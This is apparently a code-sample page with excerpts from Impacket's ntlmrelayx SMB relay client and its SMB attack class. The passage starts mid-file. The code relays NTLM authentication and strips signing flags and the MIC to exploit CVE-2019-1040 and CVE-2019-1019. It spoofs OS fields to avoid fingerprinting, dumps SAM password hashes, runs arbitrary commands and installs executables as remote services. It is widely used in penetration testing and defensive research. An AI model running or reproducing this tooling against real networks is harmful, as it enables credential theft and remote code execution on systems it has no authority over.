            flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
        try:
            packet = self.session.negotiateSessionWildcard(
                None,
                self.targetHost,
                self.targetHost,
                self.targetPort,
                60,
                self.extendedSecurity,
                flags1=SMB.FLAGS1_PATHCASELESS
                | SMB.FLAGS1_CANONICALIZED_PATHS,
                flags2=flags2,
                data=data)
        except Exception as e:
            if not self.serverConfig.smb2support:
                LOG.error(
                    'SMBClient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support'
                )
            else:
                LOG.error('SMBClient error: Connection was reset')
            return False
        if packet[0:1] == b'\xfe':
            preferredDialect = None
            # Currently only works with SMB2_DIALECT_002 or SMB2_DIALECT_21
            if self.serverConfig.remove_target:
                preferredDialect = SMB2_DIALECT_21
            smbClient = MYSMB3(self.targetHost,
                               self.targetPort,
                               self.extendedSecurity,
                               nmbSession=self.session.getNMBServer(),
                               negPacket=packet,
                               preferredDialect=preferredDialect)
        else:
            # Answer is SMB packet, sticking to SMBv1
            smbClient = MYSMB(self.targetHost,
                              self.targetPort,
                              self.extendedSecurity,
                              nmbSession=self.session.getNMBServer(),
                              negPacket=packet)

        self.session = SMBConnection(self.targetHost,
                                     self.targetHost,
                                     sess_port=self.targetPort,
                                     existingConnection=smbClient,
                                     manualNegotiate=True)

        return True

    def setUid(self, uid):
        self._uid = uid

    def sendNegotiate(self, negotiateMessage):
        negoMessage = NTLMAuthNegotiate()
        negoMessage.fromString(negotiateMessage)
        # When exploiting CVE-2019-1040, remove flags
        if self.serverConfig.remove_mic:
            if negoMessage[
                    'flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
            if negoMessage[
                    'flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
            if negoMessage[
                    'flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:
                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH
            if negoMessage[
                    'flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:
                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION

        negotiateMessage = negoMessage.getData()

        challenge = NTLMAuthChallenge()
        if self.session.getDialect() == SMB_DIALECT:
            challenge.fromString(self.sendNegotiatev1(negotiateMessage))
        else:
            challenge.fromString(self.sendNegotiatev2(negotiateMessage))

        self.negotiateMessage = negotiateMessage
        self.challengeMessage = challenge.getData()

        # Store the Challenge in our session data dict. It will be used by the SMB Proxy
        self.sessionData['CHALLENGE_MESSAGE'] = challenge
        self.serverChallenge = challenge['challenge']

        return challenge

    def sendNegotiatev2(self, negotiateMessage):
        v2client = self.session.getSMBServer()

        sessionSetup = SMB2SessionSetup()
        sessionSetup['Flags'] = 0

        sessionSetup['SecurityBufferLength'] = len(negotiateMessage)
        sessionSetup['Buffer'] = negotiateMessage

        packet = v2client.SMB_PACKET()
        packet['Command'] = SMB2_SESSION_SETUP
        packet['Data'] = sessionSetup

        packetID = v2client.sendSMB(packet)
        ans = v2client.recvSMB(packetID)
        if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED):
            v2client._Session['SessionID'] = ans['SessionID']
            sessionSetupResponse = SMB2SessionSetup_Response(ans['Data'])
            return sessionSetupResponse['Buffer']

        return False

    def sendNegotiatev1(self, negotiateMessage):
        v1client = self.session.getSMBServer()

        smb = NewSMBPacket()
        smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
        smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
        # Are we required to sign SMB? If so we do it, if not we skip it
        if v1client.is_signing_required():
            smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE

        # Just in case, clear the Unicode Flag
        flags2 = v1client.get_flags()[1]
        v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_UNICODE))

        sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
        sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
        sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data()

        sessionSetup['Parameters']['MaxBufferSize'] = 65535
        sessionSetup['Parameters']['MaxMpxCount'] = 2
        sessionSetup['Parameters']['VcNumber'] = 1
        sessionSetup['Parameters']['SessionKey'] = 0
        sessionSetup['Parameters'][
            'Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE

        # Let's build a NegTokenInit with the NTLMSSP
        # TODO: In the future we should be able to choose different providers

        #blob = SPNEGO_NegTokenInit()

        # NTLMSSP
        #blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
        #blob['MechToken'] = negotiateMessage

        #sessionSetup['Parameters']['SecurityBlobLength']  = len(blob)
        sessionSetup['Parameters']['SecurityBlobLength'] = len(
            negotiateMessage)
        sessionSetup['Parameters'].getData()
        #sessionSetup['Data']['SecurityBlob'] = blob.getData()
        sessionSetup['Data']['SecurityBlob'] = negotiateMessage

        # Fake Data here, don't want to get us fingerprinted
        sessionSetup['Data']['NativeOS'] = 'Unix'
        sessionSetup['Data']['NativeLanMan'] = 'Samba'

        smb.addCommand(sessionSetup)
        v1client.sendSMB(smb)
        smb = v1client.recvSMB()

        try:
            smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
        except Exception:
            LOG.error("SessionSetup Error!")
            raise
        else:
            # We will need to use this uid field for all future requests/responses
            v1client.set_uid(smb['Uid'])

            # Now we have to extract the blob to continue the auth process
            sessionResponse = SMBCommand(smb['Data'][0])
            sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(
                sessionResponse['Parameters'])
            sessionData = SMBSessionSetupAndX_Extended_Response_Data(
                flags=smb['Flags2'])
            sessionData['SecurityBlobLength'] = sessionParameters[
                'SecurityBlobLength']
            sessionData.fromString(sessionResponse['Data'])
            #respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob'])

            #return respToken['ResponseToken']
            return sessionData['SecurityBlob']

    def sendStandardSecurityAuth(self, sessionSetupData):
        v1client = self.session.getSMBServer()
        flags2 = v1client.get_flags()[1]
        v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_EXTENDED_SECURITY))
        if sessionSetupData['Account'] != '':
            smb = NewSMBPacket()
            smb['Flags1'] = 8

            sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
            sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters()
            sessionSetup['Data'] = SMBSessionSetupAndX_Data()

            sessionSetup['Parameters']['MaxBuffer'] = 65535
            sessionSetup['Parameters']['MaxMpxCount'] = 2
            sessionSetup['Parameters']['VCNumber'] = os.getpid()
            sessionSetup['Parameters'][
                'SessionKey'] = v1client._dialects_parameters['SessionKey']
            sessionSetup['Parameters']['AnsiPwdLength'] = len(
                sessionSetupData['AnsiPwd'])
            sessionSetup['Parameters']['UnicodePwdLength'] = len(
                sessionSetupData['UnicodePwd'])
            sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE

            sessionSetup['Data']['AnsiPwd'] = sessionSetupData['AnsiPwd']
            sessionSetup['Data']['UnicodePwd'] = sessionSetupData['UnicodePwd']
            sessionSetup['Data']['Account'] = sessionSetupData['Account']
            sessionSetup['Data']['PrimaryDomain'] = sessionSetupData[
                'PrimaryDomain']
            sessionSetup['Data']['NativeOS'] = 'Unix'
            sessionSetup['Data']['NativeLanMan'] = 'Samba'

            smb.addCommand(sessionSetup)

            v1client.sendSMB(smb)
            smb = v1client.recvSMB()
            try:
                smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
            except:
                return None, STATUS_LOGON_FAILURE
            else:
                v1client.set_uid(smb['Uid'])
                return smb, STATUS_SUCCESS
        else:
            # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
            clientResponse = None
            errorCode = STATUS_ACCESS_DENIED

        return clientResponse, errorCode

    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):

        # When exploiting CVE-2019-1040, remove flags
        if self.serverConfig.remove_mic:
            authMessage = NTLMAuthChallengeResponse()
            authMessage.fromString(authenticateMessageBlob)
            if authMessage[
                    'flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
            if authMessage[
                    'flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
            if authMessage[
                    'flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH
            if authMessage[
                    'flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION
            authMessage['MIC'] = b''
            authMessage['MICLen'] = 0
            authMessage['Version'] = b''
            authMessage['VersionLen'] = 0
            authenticateMessageBlob = authMessage.getData()

        #if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
        #    # We need to unwrap SPNEGO and get the NTLMSSP
        #    respToken = SPNEGO_NegTokenResp(authenticateMessageBlob)
        #    authData = respToken['ResponseToken']
        #else:
        authData = authenticateMessageBlob

        signingKey = None
        if self.serverConfig.remove_target:
            # Trying to exploit CVE-2019-1019
            # Discovery and Implementation by @simakov_marina and @YaronZi
            # respToken2 = SPNEGO_NegTokenResp(authData)
            authenticateMessageBlob = authData

            errorCode, signingKey = self.netlogonSessionKey(authData)

            # Recalculate MIC
            res = NTLMAuthChallengeResponse()
            res.fromString(authenticateMessageBlob)

            newAuthBlob = authenticateMessageBlob[
                0:0x48] + b'\x00' * 16 + authenticateMessageBlob[0x58:]
            relay_MIC = hmac_md5(
                signingKey,
                self.negotiateMessage + self.challengeMessage + newAuthBlob)

            respToken2 = SPNEGO_NegTokenResp()
            respToken2['ResponseToken'] = authenticateMessageBlob[
                0:0x48] + relay_MIC + authenticateMessageBlob[0x58:]
            authData = authenticateMessageBlob[
                0:0x48] + relay_MIC + authenticateMessageBlob[0x58:]
            #authData = respToken2.getData()

        if self.session.getDialect() == SMB_DIALECT:
            token, errorCode = self.sendAuthv1(authData, serverChallenge)
        else:
            token, errorCode = self.sendAuthv2(authData, serverChallenge)

        if signingKey:
            logging.info("Enabling session signing")
            self.session._SMBConnection.set_session_key(signingKey)

        return token, errorCode

    def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None):
        if unpack('B', authenticateMessageBlob[:1]
                  )[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
            # We need to unwrap SPNEGO and get the NTLMSSP
            respToken = SPNEGO_NegTokenResp(authenticateMessageBlob)
            authData = respToken['ResponseToken']
        else:
            authData = authenticateMessageBlob

        v2client = self.session.getSMBServer()

        sessionSetup = SMB2SessionSetup()
        sessionSetup['Flags'] = 0

        packet = v2client.SMB_PACKET()
        packet['Command'] = SMB2_SESSION_SETUP
        packet['Data'] = sessionSetup

        # Reusing the previous structure
        sessionSetup['SecurityBufferLength'] = len(authData)
        sessionSetup['Buffer'] = authData

        packetID = v2client.sendSMB(packet)
        packet = v2client.recvSMB(packetID)

        return packet, packet['Status']

    def sendAuthv1(self, authenticateMessageBlob, serverChallenge=None):
        if unpack('B', authenticateMessageBlob[:1]
                  )[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
            # We need to unwrap SPNEGO and get the NTLMSSP
            respToken = SPNEGO_NegTokenResp(authenticateMessageBlob)
            authData = respToken['ResponseToken']
        else:
            authData = authenticateMessageBlob

        v1client = self.session.getSMBServer()

        smb = NewSMBPacket()
        smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
        smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_UNICODE
        # Are we required to sign SMB? If so we do it, if not we skip it
        if v1client.is_signing_required():
            smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
        smb['Uid'] = v1client.get_uid()

        sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
        sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
        sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data()

        sessionSetup['Parameters']['MaxBufferSize'] = 65535
        sessionSetup['Parameters']['MaxMpxCount'] = 2
        sessionSetup['Parameters']['VcNumber'] = 1
        sessionSetup['Parameters']['SessionKey'] = 0
        sessionSetup['Parameters'][
            'Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE

        # Fake Data here, don't want to get us fingerprinted
        sessionSetup['Data']['NativeOS'] = 'Unix'
        sessionSetup['Data']['NativeLanMan'] = 'Samba'

        sessionSetup['Parameters']['SecurityBlobLength'] = len(authData)
        sessionSetup['Data']['SecurityBlob'] = authData
        smb.addCommand(sessionSetup)
        v1client.sendSMB(smb)

        smb = v1client.recvSMB()

        errorCode = smb['ErrorCode'] << 16
        errorCode += smb['_reserved'] << 8
        errorCode += smb['ErrorClass']

        return smb, errorCode

    def getStandardSecurityChallenge(self):
        if self.session.getDialect() == SMB_DIALECT:
            return self.session.getSMBServer().get_encryption_key()
        else:
            return None

    def isAdmin(self):
        rpctransport = SMBTransport(self.session.getRemoteHost(),
                                    445,
                                    r'\svcctl',
                                    smb_connection=self.session)
        dce = rpctransport.get_dce_rpc()
        try:
            dce.connect()
        except:
            pass
        else:
            dce.bind(scmr.MSRPC_UUID_SCMR)
            try:
                # 0xF003F - SC_MANAGER_ALL_ACCESS
                # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
                ans = scmr.hROpenSCManagerW(
                    dce, '{}\x00'.format(self.target.hostname),
                    'ServicesActive\x00', 0xF003F)
                return "TRUE"
            except scmr.DCERPCException as e:
                pass
        return "FALSE"
Ejemplo n.º 14
0
class SMBAttack(ProtocolAttack):
    """
    This is the SMB default attack class.
    It will either dump the hashes from the remote target, or open an interactive
    shell if the -i option is specified.
    """
    PLUGIN_NAMES = ["SMB"]
    def __init__(self, config, SMBClient, username):
        ProtocolAttack.__init__(self, config, SMBClient, username)
        if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
            self.__SMBConnection = SMBConnection(existingConnection=SMBClient)
        else:
            self.__SMBConnection = SMBClient
        self.__answerTMP = ''
        if self.config.interactive:
            #Launch locally listening interactive shell
            self.tcpshell = TcpShell()
        else:
            self.tcpshell = None
            if self.config.exeFile is not None:
                self.installService = serviceinstall.ServiceInstall(SMBClient, self.config.exeFile)

    def __answer(self, data):
        self.__answerTMP += data

    def run(self):
        # Here PUT YOUR CODE!
        if self.tcpshell is not None:
            LOG.info('Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port)
            #Start listening and launch interactive shell
            self.tcpshell.listen()
            self.shell = MiniImpacketShell(self.__SMBConnection,self.tcpshell.socketfile)
            self.shell.cmdloop()
            return
        if self.config.exeFile is not None:
            result = self.installService.install()
            if result is True:
                LOG.info("Service Installed.. CONNECT!")
                self.installService.uninstall()
        else:
            from impacket.examples.secretsdump import RemoteOperations, SAMHashes
            from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins
            samHashes = None
            try:
                # We have to add some flags just in case the original client did not
                # Why? needed for avoiding INVALID_PARAMETER
                if  self.__SMBConnection.getDialect() == smb.SMB_DIALECT:
                    flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
                    flags2 |= smb.SMB.FLAGS2_LONG_NAMES
                    self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)

                remoteOps  = RemoteOperations(self.__SMBConnection, False)
                remoteOps.enableRegistry()
            except Exception, e:
                if "rpc_s_access_denied" in str(e): # user doesn't have correct privileges
                    if self.config.enumLocalAdmins:
                        LOG.info(u"Relayed user doesn't have admin on {}. Attempting to enumerate users who do...".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding)))
                        enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection)
                        try:
                            localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins()
                            LOG.info(u"Host {} has the following local admins (hint: try relaying one of them here...)".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding)))
                            for name in localAdminNames:
                                LOG.info(u"Host {} local admin member: {} ".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding), name))
                        except DCERPCException, e:
                            LOG.info("SAMR access denied")
                        return
                # Something else went wrong. aborting
                LOG.error(str(e))
                return

            try:
                if self.config.command is not None:
                    remoteOps._RemoteOperations__executeRemote(self.config.command)
                    LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
                    self.__answerTMP = ''
                    self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
                    self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
                    print self.__answerTMP.decode(self.config.encoding, 'replace')
                else:
                    bootKey = remoteOps.getBootKey()
                    remoteOps._RemoteOperations__serviceDeleted = True
                    samFileName = remoteOps.saveSAM()
                    samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
                    samHashes.dump()
                    samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes')
                    LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
            except Exception, e:
                LOG.error(str(e))
Ejemplo n.º 15
0
class SMBRelayClient(ProtocolClient):
    PLUGIN_NAME = "SMB"
    def __init__(self, serverConfig, target, targetPort = 445, extendedSecurity=True ):
        ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
        self.extendedSecurity = extendedSecurity

        self.domainIp = None
        self.machineAccount = None
        self.machineHashes = None
        self.sessionData = {}

        self.keepAliveHits = 1

    def keepAlive(self):
        # SMB Keep Alive more or less every 5 minutes
        if self.keepAliveHits >= (250 / KEEP_ALIVE_TIMER):
            # Time to send a packet
            # Just a tree connect / disconnect to avoid the session timeout
            tid = self.session.connectTree('IPC$')
            self.session.disconnectTree(tid)
            self.keepAliveHits = 1
        else:
            self.keepAliveHits +=1

    def killConnection(self):
        if self.session is not None:
            self.session.close()
            self.session = None

    def initConnection(self):
        self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort, manualNegotiate=True)
                                     #,preferredDialect=SMB_DIALECT)
        if self.serverConfig.smb2support is True:
            data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'
        else:
            data = '\x02NT LM 0.12\x00'

        if self.extendedSecurity is True:
            flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
        else:
            flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
        try:
            packet = self.session.negotiateSessionWildcard(None, self.targetHost, self.targetHost, self.targetPort, 60, self.extendedSecurity,
                                                  flags1=SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS,
                             flags2=flags2, data=data)
        except socketerror as e:
            if 'reset by peer' in str(e):
                if not self.serverConfig.smb2support:
                    LOG.error('SMBCLient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support')
                else:
                    LOG.error('SMBCLient error: Connection was reset')
            else:
                LOG.error('SMBCLient error: %s' % str(e))
            return False
        if packet[0:1] == b'\xfe':
            smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet)
        else:
            # Answer is SMB packet, sticking to SMBv1
            smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), negPacket=packet)

        self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort,
                                     existingConnection=smbClient, manualNegotiate=True)

        return True

    def setUid(self,uid):
        self._uid = uid

    def sendNegotiate(self, negotiateMessage):
        negotiate = NTLMAuthNegotiate()
        negotiate.fromString(negotiateMessage)
        #Remove the signing flag
        negotiate['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN

        challenge = NTLMAuthChallenge()
        if self.session.getDialect() == SMB_DIALECT:
            challenge.fromString(self.sendNegotiatev1(negotiateMessage))
        else:
            challenge.fromString(self.sendNegotiatev2(negotiateMessage))

        # Store the Challenge in our session data dict. It will be used by the SMB Proxy
        self.sessionData['CHALLENGE_MESSAGE'] = challenge

        return challenge

    def sendNegotiatev2(self, negotiateMessage):
        v2client = self.session.getSMBServer()

        sessionSetup = SMB2SessionSetup()
        sessionSetup['Flags'] = 0

        # Let's build a NegTokenInit with the NTLMSSP
        blob = SPNEGO_NegTokenInit()

        # NTLMSSP
        blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
        blob['MechToken'] = negotiateMessage

        sessionSetup['SecurityBufferLength'] = len(blob)
        sessionSetup['Buffer'] = blob.getData()

        packet = v2client.SMB_PACKET()
        packet['Command'] = SMB2_SESSION_SETUP
        packet['Data'] = sessionSetup

        packetID = v2client.sendSMB(packet)
        ans = v2client.recvSMB(packetID)
        if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED):
            v2client._Session['SessionID'] = ans['SessionID']
            sessionSetupResponse = SMB2SessionSetup_Response(ans['Data'])
            respToken = SPNEGO_NegTokenResp(sessionSetupResponse['Buffer'])
            return respToken['ResponseToken']

        return False

    def sendNegotiatev1(self, negotiateMessage):
        v1client = self.session.getSMBServer()

        smb = NewSMBPacket()
        smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
        smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
        # Are we required to sign SMB? If so we do it, if not we skip it
        if v1client.is_signing_required():
           smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE

        # Just in case, clear the Unicode Flag
        flags2 = v1client.get_flags ()[1]
        v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_UNICODE))

        sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
        sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
        sessionSetup['Data']       = SMBSessionSetupAndX_Extended_Data()

        sessionSetup['Parameters']['MaxBufferSize']        = 65535
        sessionSetup['Parameters']['MaxMpxCount']          = 2
        sessionSetup['Parameters']['VcNumber']             = 1
        sessionSetup['Parameters']['SessionKey']           = 0
        sessionSetup['Parameters']['Capabilities']         = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE

        # Let's build a NegTokenInit with the NTLMSSP
        # TODO: In the future we should be able to choose different providers

        blob = SPNEGO_NegTokenInit()

        # NTLMSSP
        blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
        blob['MechToken'] = negotiateMessage

        sessionSetup['Parameters']['SecurityBlobLength']  = len(blob)
        sessionSetup['Parameters'].getData()
        sessionSetup['Data']['SecurityBlob']       = blob.getData()

        # Fake Data here, don't want to get us fingerprinted
        sessionSetup['Data']['NativeOS']      = 'Unix'
        sessionSetup['Data']['NativeLanMan']  = 'Samba'

        smb.addCommand(sessionSetup)
        v1client.sendSMB(smb)
        smb = v1client.recvSMB()

        try:
            smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
        except Exception:
            LOG.error("SessionSetup Error!")
            raise
        else:
            # We will need to use this uid field for all future requests/responses
            v1client.set_uid(smb['Uid'])

            # Now we have to extract the blob to continue the auth process
            sessionResponse   = SMBCommand(smb['Data'][0])
            sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters'])
            sessionData       = SMBSessionSetupAndX_Extended_Response_Data(flags = smb['Flags2'])
            sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength']
            sessionData.fromString(sessionResponse['Data'])
            respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob'])

            return respToken['ResponseToken']

    def sendStandardSecurityAuth(self, sessionSetupData):
        v1client = self.session.getSMBServer()
        flags2 = v1client.get_flags()[1]
        v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_EXTENDED_SECURITY))
        if sessionSetupData['Account'] != '':
            smb = NewSMBPacket()
            smb['Flags1'] = 8

            sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
            sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters()
            sessionSetup['Data'] = SMBSessionSetupAndX_Data()

            sessionSetup['Parameters']['MaxBuffer'] = 65535
            sessionSetup['Parameters']['MaxMpxCount'] = 2
            sessionSetup['Parameters']['VCNumber'] = os.getpid()
            sessionSetup['Parameters']['SessionKey'] = v1client._dialects_parameters['SessionKey']
            sessionSetup['Parameters']['AnsiPwdLength'] = len(sessionSetupData['AnsiPwd'])
            sessionSetup['Parameters']['UnicodePwdLength'] = len(sessionSetupData['UnicodePwd'])
            sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE

            sessionSetup['Data']['AnsiPwd'] = sessionSetupData['AnsiPwd']
            sessionSetup['Data']['UnicodePwd'] = sessionSetupData['UnicodePwd']
            sessionSetup['Data']['Account'] = sessionSetupData['Account']
            sessionSetup['Data']['PrimaryDomain'] = sessionSetupData['PrimaryDomain']
            sessionSetup['Data']['NativeOS'] = 'Unix'
            sessionSetup['Data']['NativeLanMan'] = 'Samba'

            smb.addCommand(sessionSetup)

            v1client.sendSMB(smb)
            smb = v1client.recvSMB()
            try:
                smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
            except:
                return None, STATUS_LOGON_FAILURE
            else:
                v1client.set_uid(smb['Uid'])
                return smb, STATUS_SUCCESS
        else:
            # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
            clientResponse = None
            errorCode = STATUS_ACCESS_DENIED

        return clientResponse, errorCode

    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
        if unpack('B', authenticateMessageBlob[:1])[0] != SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
            # We need to wrap the NTLMSSP into SPNEGO
            respToken2 = SPNEGO_NegTokenResp()
            respToken2['ResponseToken'] = authenticateMessageBlob
            authData = respToken2.getData()
        else:
            authData = authenticateMessageBlob

        if self.session.getDialect() == SMB_DIALECT:
            token, errorCode = self.sendAuthv1(authData, serverChallenge)
        else:
            token, errorCode = self.sendAuthv2(authData, serverChallenge)
        return token, errorCode

    def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None):
        v2client = self.session.getSMBServer()

        sessionSetup = SMB2SessionSetup()
        sessionSetup['Flags'] = 0

        packet = v2client.SMB_PACKET()
        packet['Command'] = SMB2_SESSION_SETUP
        packet['Data']    = sessionSetup

        # Reusing the previous structure
        sessionSetup['SecurityBufferLength'] = len(authenticateMessageBlob)
        sessionSetup['Buffer'] = authenticateMessageBlob

        packetID = v2client.sendSMB(packet)
        packet = v2client.recvSMB(packetID)

        return packet, packet['Status']

    def sendAuthv1(self, authenticateMessageBlob, serverChallenge=None):
        v1client = self.session.getSMBServer()

        smb = NewSMBPacket()
        smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
        smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
        # Are we required to sign SMB? If so we do it, if not we skip it
        if v1client.is_signing_required():
           smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
        smb['Uid'] = v1client.get_uid()

        sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
        sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
        sessionSetup['Data']       = SMBSessionSetupAndX_Extended_Data()

        sessionSetup['Parameters']['MaxBufferSize']        = 65535
        sessionSetup['Parameters']['MaxMpxCount']          = 2
        sessionSetup['Parameters']['VcNumber']             = 1
        sessionSetup['Parameters']['SessionKey']           = 0
        sessionSetup['Parameters']['Capabilities']         = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE

        # Fake Data here, don't want to get us fingerprinted
        sessionSetup['Data']['NativeOS']      = 'Unix'
        sessionSetup['Data']['NativeLanMan']  = 'Samba'

        sessionSetup['Parameters']['SecurityBlobLength'] = len(authenticateMessageBlob)
        sessionSetup['Data']['SecurityBlob'] = authenticateMessageBlob
        smb.addCommand(sessionSetup)
        v1client.sendSMB(smb)

        smb = v1client.recvSMB()

        errorCode = smb['ErrorCode'] << 16
        errorCode += smb['_reserved'] << 8
        errorCode += smb['ErrorClass']

        return smb, errorCode

    def getStandardSecurityChallenge(self):
        if self.session.getDialect() == SMB_DIALECT:
            return self.session.getSMBServer().get_encryption_key()
        else:
            return None

    def isAdmin(self):
        rpctransport = SMBTransport(self.session.getRemoteHost(), 445, r'\svcctl', smb_connection=self.session)
        dce = rpctransport.get_dce_rpc()
        try:
            dce.connect()
        except:
            pass
        else:
            dce.bind(scmr.MSRPC_UUID_SCMR)
            try:
                # 0xF003F - SC_MANAGER_ALL_ACCESS
                # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
                ans = scmr.hROpenSCManagerW(dce,'{}\x00'.format(self.target.hostname),'ServicesActive\x00', 0xF003F)
